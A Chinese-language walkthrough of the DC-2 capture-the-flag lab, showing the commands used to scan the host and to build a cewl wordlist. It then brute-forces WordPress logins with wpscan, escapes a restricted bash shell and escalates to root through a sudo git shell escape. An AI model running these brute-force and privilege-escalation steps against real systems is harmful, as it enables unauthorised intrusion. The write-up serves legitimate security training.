arp-scan -l
扫出ip地址
nmap -T4 -sV -O -A -p- 192.168.128.132
扫描存活端口
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-generator: WordPress 4.7.10
| http-title: DC-2 – Just another WordPress site
|_Requested resource was http://dc-2/
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
发现 80/tcp和 7744/tcp
80端口http://dc-2/ (需要改hosts
文件)
vim /etc/hosts
/etc/init.d/networking restart
重启网络服务
进入网站---192.168.128.132
得知网站 by WordPress
看见 flag 点击查看信息
获得flag1
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
翻译:
你通常的单词列表可能不起作用,所以相反,也许你只需要被 cewl。
更多的密码总是更好,但有时您无法赢得所有密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以其他人身份登录。
得知 cewl (Cewl是一款采用Ruby开发的应用程序,可以给他的爬虫指定URL地址和爬取深度,还可以添加外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper
这样的密码破解工具中。)
尝试是使用
cewl -w dcpasswords.txt http://dc-2
上文得知网站 by WordPress 那就用wpscan 扫用户名
wpscan --url http://dc-2 --enumerate u
扫出来了
admin
jerry
tom
将用户信息 写入dc2username.txt
上文已用cewl写了 用户的密码字典
wpscan --url http://dc-2 -U dc2username.txt -P dcpasswords.txt
已经获取到了 账户密码
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
用dirb爆破网站目录
dirb 192.168.128.132
(没截图。。。)
分析得知网站是 192.168.128.132/wp-admin/
进入 输入上文所得账号密码
发现flag2
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
翻译:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到另一个切入点。
没懂什么意思
继续登录tom账号 也没有发现其他信息
根据flag提示 and ssh还没用应该试试用ssh登录
ls 查看目录 发现 flag3.txt
-rbash cat命令用不了 用户权限不够
查了-rbash 可以进行绕过
先用vi命令试试查看flag
成功了 提到jerry
尝试绕过-rbash(rbash与一般shell的区别在于会限制一些行为,让一些命令无法执行)
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
cat 命令执行成功(证明已经成功绕过)
可以试试jerry账号
登录jerry后ls 查看 会看到flag4.txt 继续cat 查看文档内容
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
翻译:
很高兴看到你已经走到了这一步 - 但你还没有回家。
您仍然需要获得最终标志(唯一真正重要的标志!!!)。
这里没有提示 - 你现在只能靠自己了。 :-)
继续 - 在这里 git outta!!!!
用 sudo -l 查看所有能执行的命令
(root) NOPASSWD: /usr/bin/git
和flag4 有联系 而且是nopasswd 不需要密码
(后面看了大佬文章才知道 还是不太明白git提权这块)
sudo git help config
弹出shell
!/bin/bash
回车
cd跳到根目录
ls再查看目录
就找到了final-flag.txt
只需要用
cat final-flag.txt
收工~